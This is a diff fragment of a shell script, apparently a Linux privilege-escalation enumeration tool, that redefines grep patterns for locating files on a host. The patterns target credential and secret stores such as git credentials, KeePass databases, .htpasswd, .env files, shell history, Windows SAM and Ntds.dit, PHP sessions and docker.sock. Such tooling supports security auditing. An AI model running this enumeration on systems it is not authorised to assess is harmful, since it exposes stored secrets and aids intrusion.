-  PSTORAGE_CACHE_VI=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.swp$|.*\.viminfo$" | sort | uniq | head -n 70)
-  PSTORAGE_DOCKER=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "docker\.socket$|docker\.sock$|Dockerfile$|docker-compose\.yml$" | sort | uniq | head -n 70)
-  PSTORAGE_FIREFOX=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^$GREPHOMESEARCH" | grep -E "\.mozilla$" | sort | uniq | head -n 70)
-  PSTORAGE_CHROME=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^$GREPHOMESEARCH" | grep -E "google-chrome$" | sort | uniq | head -n 70)
-  PSTORAGE_AUTOLOGIN=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "autologin$|autologin\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_FASTCGI=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "fastcgi_params$" | sort | uniq | head -n 70)
-  PSTORAGE_SNMP=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "snmpd\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_PYPIRC=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.pypirc$" | sort | uniq | head -n 70)
-  PSTORAGE_CLOUDFLARE=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.cloudflared$" | sort | uniq | head -n 70)
-  PSTORAGE_HISTORY=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\..*_history$" | sort | uniq | head -n 70)
-  PSTORAGE_HTTP_CONF=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "httpd\.conf$" | sort | uniq | head -n 70)
-  PSTORAGE_HTPASSWD=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.htpasswd$" | sort | uniq | head -n 70)
-  PSTORAGE_LDAPRC=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.ldaprc$" | sort | uniq | head -n 70)
-  PSTORAGE_ENV=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.env$" | sort | uniq | head -n 70)
-  PSTORAGE_MSMTPRC=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.msmtprc$" | sort | uniq | head -n 70)
-  PSTORAGE_GITHUB=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.github$|\.gitconfig$|\.git-credentials$|\.git$" | sort | uniq | head -n 70)
-  PSTORAGE_SVN=$(echo -e "$FIND_DIR_OPT\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_CACHE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_MNT\n$FIND_DIR_SBIN\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_SRV"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.svn$" | sort | uniq | head -n 70)
-  PSTORAGE_KEEPASS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.kdbx$|KeePass\.config.*$|KeePass\.ini$|KeePass\.enforced.*$" | sort | uniq | head -n 70)
-  PSTORAGE_FTP=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.ftpconfig$|ffftp\.ini$|ftp\.ini$|ftp\.config$|ws_ftp\.ini$" | sort | uniq | head -n 70)
-  PSTORAGE_INTERESTING_LOGS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "access\.log$|error\.log$" | sort | uniq | head -n 70)
-  PSTORAGE_OTHER_INTERESTING_FILES=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "\.bashrc$|\.google_authenticator$|hosts\.equiv$|\.lesshst$|\.plan$|\.profile$|\.recently-used\.xbel$|\.rhosts$|\.sudo_as_admin_successful$" | sort | uniq | head -n 70)
-  PSTORAGE_WINDOWS_FILES=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "unattend\.inf$|.*\.rdg$|AppEvent\.Evt$|ConsoleHost_history\.txt$|FreeSSHDservice\.ini$|NetSetup\.log$|Ntds\.dit$|RDCMan\.settings$|SAM$|SYSTEM$|SecEvent\.Evt$|appcmd\.exe$|bash\.exe$|datasources\.xml$|default\.sav$|drives\.xml$|groups\.xml$|https-xampp\.conf$|https\.conf$|iis6\.log$|index\.dat$|my\.cnf$|my\.ini$|ntuser\.dat$|pagefile\.sys$|php\.ini$|printers\.xml$|recentservers\.xml$|scclient\.exe$|scheduledtasks\.xml$|security$|security\.sav$|server\.xml$|services\.xml$|setupinfo$|setupinfo\.bak$|sitemanager\.xml$|sites\.ini$|software$|software\.sav$|sysprep\.inf$|sysprep\.xml$|system\.sav$|unattend\.txt$|unattend\.xml$|unattended\.xml$|wcx_ftp\.ini$|web.*\.config$|winscp\.ini$|wsl\.exe$" | sort | uniq | head -n 70)
-  PSTORAGE_DATABASE=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -v -E '/man/|/usr/|/var/cache/' | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*\.db$|.*\.sqlite$|.*\.sqlite3$" | sort | uniq | head -n 70)
-  PSTORAGE_BACKUPS=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E "backup$|backups$" | sort | uniq | head -n 70)
-  PSTORAGE_PASSWORD_FILES=$(echo -e "$FIND_TMP\n$FIND_CACHE\n$FIND_BIN\n$FIND_RUN\n$FIND_LIB32\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_USR\n$FIND_SRV\n$FIND_MEDIA\n$FIND_ETC\n$FIND_SNAP\n$FIND_SBIN\n$FIND_LIB64\n$FIND_VAR\n$FIND_APPLICATIONS\n$FIND_SYS\n$FIND_MNT\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_OPT\n$FIND_HOMESEARCH\n$FIND_LIB"  | grep -E "^/sbin|^/var|^/bin|^/snap|^/applications|^/cdrom|^/mnt|^/usr|^/opt|^/private|^/.cache|^/srv|^/tmp|^/etc|^/media|^$GREPHOMESEARCH" | grep -E ".*password.*$|.*credential.*$|creds.*$" | sort | uniq | head -n 70)
+  PSTORAGE_SYSTEMD=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/system|^/lib64|^/snap|^/srv|^/run|^/bin|^/var|^$GREPHOMESEARCH|^/.cache|^/tmp|^/sys|^/lib|^/systemd|^/media|^/usr|^/lib32|^/opt|^/private|^/applications|^/mnt|^/etc|^/cdrom|^/sbin" | grep -E ".*\.service$" | sort | uniq | head -n 70)
+  PSTORAGE_TIMER=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/system|^/lib64|^/snap|^/srv|^/run|^/bin|^/var|^$GREPHOMESEARCH|^/.cache|^/tmp|^/sys|^/lib|^/systemd|^/media|^/usr|^/lib32|^/opt|^/private|^/applications|^/mnt|^/etc|^/cdrom|^/sbin" | grep -E ".*\.timer$" | sort | uniq | head -n 70)
+  PSTORAGE_SOCKET=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/system|^/lib64|^/snap|^/srv|^/run|^/bin|^/var|^$GREPHOMESEARCH|^/.cache|^/tmp|^/sys|^/lib|^/systemd|^/media|^/usr|^/lib32|^/opt|^/private|^/applications|^/mnt|^/etc|^/cdrom|^/sbin" | grep -E ".*\.socket$" | sort | uniq | head -n 70)
+  PSTORAGE_DBUS=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70)
+  PSTORAGE_MYSQL=$(echo -e "$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "mysql$" | sort | uniq | head -n 70)
+  PSTORAGE_POSTGRESQL=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70)
+  PSTORAGE_APACHE=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE\n$FIND_DIR_BIN\n$FIND_DIR_VAR\n$FIND_DIR_SBIN\n$FIND_DIR_MNT\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_PRIVATE\n$FIND_DIR_SNAP\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_SRV\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_OPT\n$FIND_DIR_ETC"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E "sites-enabled$|000-default$" | sort | uniq | head -n 70)
+  PSTORAGE_PHPCOOKIES=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/tmp|^/var|^/mnt" | grep -E "sess_.*$" | sort | uniq | head -n 70)
+  PSTORAGE_PHP_FILES=$(echo -e "$FIND_SYS\n$FIND_OPT\n$FIND_BIN\n$FIND_SRV\n$FIND_LIB\n$FIND_TMP\n$FIND_APPLICATIONS\n$FIND_HOMESEARCH\n$FIND_USR\n$FIND_MEDIA\n$FIND_CDROM\n$FIND_VAR\n$FIND_SBIN\n$FIND_MNT\n$FIND_ETC\n$FIND_SYSTEM\n$FIND_SNAP\n$FIND_LIB32\n$FIND_PRIVATE\n$FIND_SYSTEMD\n$FIND_LIB64\n$FIND_RUN\n$FIND_CACHE"  | grep -E "^/.cache|^/tmp|^/opt|^/private|^/etc|^/snap|^/srv|^/applications|^/media|^/cdrom|^/sbin|^/usr|^/mnt|^/bin|^/var|^$GREPHOMESEARCH" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70)
